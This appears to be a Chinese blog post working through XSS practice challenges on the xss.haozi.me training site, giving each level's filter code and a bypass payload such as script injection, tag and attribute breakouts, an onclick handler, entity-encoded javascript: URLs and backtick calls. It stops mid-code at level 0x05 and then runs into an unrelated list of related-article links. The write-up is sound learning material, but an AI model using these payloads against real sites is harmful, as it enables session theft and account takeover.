前言

文章同步于个人博客https://www.quan9i.top
XSS学习过后,想刷一些题,github找到一个,链接如下
https://xss.haozi.me/

0X00

function render (input) {return '<div>' + input + '</div>'
}


看到服务端是没有任何防护的,直接简单的xss语句即可

<script>alert(1)</script>

0X01

function render (input) {return '<textarea>' + input + '</textarea>'
}


发现前后多了个<textarea>标签,那我们这里的话,直接把前面给闭合了,后面就可控了,此时再插入我们的xss语句即可

</textarea><script>alert(1)</script>

0X02

方法一

function render (input) {return '<input type="name" value="' + input + '">'
}


这题的话看后端代码是把值加到value里了,同时把这个限制到了input里,那我们这里可以把value闭合,把input标签也闭合,然后写入自己的语句,此时即可实现xss

"><script>alert(1)</script>

方法二

input语句中也可以实现xss,我们把value闭合后,可以添加onclick属性,来实现xss,构造payload如下

" οnclick="alert(1)

0X03

实体编码绕过

function render (input) {const stripBracketsRe = /[()]/ginput = input.replace(stripBracketsRe, '')return input
}


/g修饰符用于执行全局匹配(查找所有匹配而非在找到第一个匹配后停止)。
总之这里的过滤就是过滤了(),这个时候的话我们的思路有一个就是编码绕过,我们的属性在标签中,在触发前就对其进行了一次解码,因此我们这里可以进行编码绕过,构造payload如下

<a href=javascript:&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41>123<a>

反引号绕过

可以用`来代替括号,构造payload如下

<script>alert`1`</script>

0X04

function render (input) {const stripBracketsRe = /[()`]/ginput = input.replace(stripBracketsRe, '')return input
}

相比上关多过滤了反引号,这里沿用上关思路即可,编码绕过

<a href=javascript:&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>123</a>

0X05

function render (input) {input = input.replace(/-->/g, '												

XSS.haozi.me刷题相关推荐

  1. xss.haozi 思路总结 0x00-0x12

    xss刷题网站2 https://xss.haozi.me/ 一个非常可爱的网站.这是网站界面,题目序号是十六进制,一共19道题. 0x00 直接输入<script>alert(1)< ...

  2. 【CTF】CTF竞赛介绍以及刷题网址

    CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过 ...

  3. xss.haozi.me通关教程

    10.xss.haozi.me通关教程 0x00 首先整体浏览网站 分别是xss注入点,注入后的HTML代码以及网页源码 构造常规payload: <script>alert(1)< ...

  4. 牛年前的一小结——打响本命年的第一枪,继续刷题!

    经过一段时间的小尝试,摸索出了一点点头儿吧. 总结一下子. 关于面试的java,像我这个经验层次(1-2year普通厂)的都不会太难.最多超不出力扣中等难度. 多练习链表.树.指针类的比较基础的题目: ...

  5. 牛客网里刷题:JS获取输入的数组

    有的时候我们刷题会遇到下面这种输入格式,那么用js怎么把它变成数组呢? [1,2,3,4,5] 难道用readline()之后在踢掉首尾的字符吗?这样也太麻烦了! 我发现了一个好用的方法: let l ...

  6. 【Leetcode】刷题之路2(python)

    哈希映射类题目(简单题小试牛刀啦bhn) 242.有效的字母异位词 349.两个数组的交集 1002.查找常用字符 202.快乐数 383.赎金信 242. 有效的字母异位词 用python的Coun ...

  7. 【Leetcode】 刷题之路1(python)

    leetcode 刷题之路1(python) 看到有大佬总结了一些相关题目,想着先刷一类. 1.两数之和 15.三数之和 16.最接近的三数之和 11.盛最多的水 18.四数之和 454.四数相加II ...

  8. 力扣(LeetCode)刷题,简单+中等题(第35期)

    力扣(LeetCode)定期刷题,每期10道题,业务繁重的同志可以看看我分享的思路,不是最高效解决方案,只求互相提升. 第1题:解码异或后的排列 试题要求如下: 回答(C语言): /*** Note: ...

  9. 力扣(LeetCode)刷题,简单+中等题(第34期)

    目录 第1题:整数转罗马数字 第2题:电话号码的字母组合 第3题:二叉树的所有路径 第4题:砖墙 第5题:下一个排列 第6题:括号生成 第7题:删除并获得点数 第8题:全排列 第9题:颜色分类 第10 ...

  10. 力扣(LeetCode)刷题,简单+中等题(第33期)

    目录 第1题:Z 字形变换 第2题:删除字符串中的所有相邻重复项 第3题:基本计算器 II 第4题:螺旋矩阵 第5题:螺旋矩阵 II 第6题:盛最多水的容器 第7题:删除有序数组中的重复项 II 第8 ...

最新文章

  1. jdk与jre的区别(转)
  2. 小玩流媒体播放——HLS流媒体点播系统
  3. Python学习之OS模块初识
  4. java语言没有保留结构和联合,java选择题判断题题库.doc
  5. 教你win10原版镜像怎么安装
  6. php操作剪贴板内容代码,查看剪贴板内容的方法
  7. 编程人员的不二之选 LEGION Y9000X正式发布
  8. Python小项目(学生成绩管理系统)7.排序、显示部分
  9. ISA防火墙基础及应用
  10. 齐齐哈尔市全国计算机等级考试,2021年9月黑龙江省齐齐哈尔市全国计算机等级考试报名时间...
  11. 【PyTorch 自然语言处理】传统 NLP 快速回顾(计算语言学)
  12. Notepad++的JsonViewer 插件安装失败的解决
  13. 关于七彩虹显卡命名解说
  14. 贪心算法--加勒比海盗船--最优装载问题
  15. linux笔记(6):东山哪吒D1H测试HDMI显示内置图片-命令行调试
  16. 创造习惯 — 如何科学地养成习惯
  17. 问题解决no matches found: nvidia-*
  18. 树莓派PICO三种按键方式实现点灯!
  19. jsp onpropertychange
  20. VS2019创建和使用静态库(.lib文件)

热门文章

  1. 基于GeoEvent Processor的物联网应用案例赏析
  2. DSPE-PEG-TPP 磷酸三苯酯修饰聚乙二醇PE磷脂
  3. SMplayer安装
  4. 人大金仓 创建表空间_人大金仓kingbaseES安装及操作
  5. CCCC 天梯赛初赛心得
  6. 中国氨基酸表面活性剂市场前景展望与发展建议分析报告2022-2028年
  7. server r2 系统更新文件清理
  8. Centos系统下通过Nginx部署帝国CMS项目
  9. DB2查看事务日志使用空间
  10. 精简的webservice例子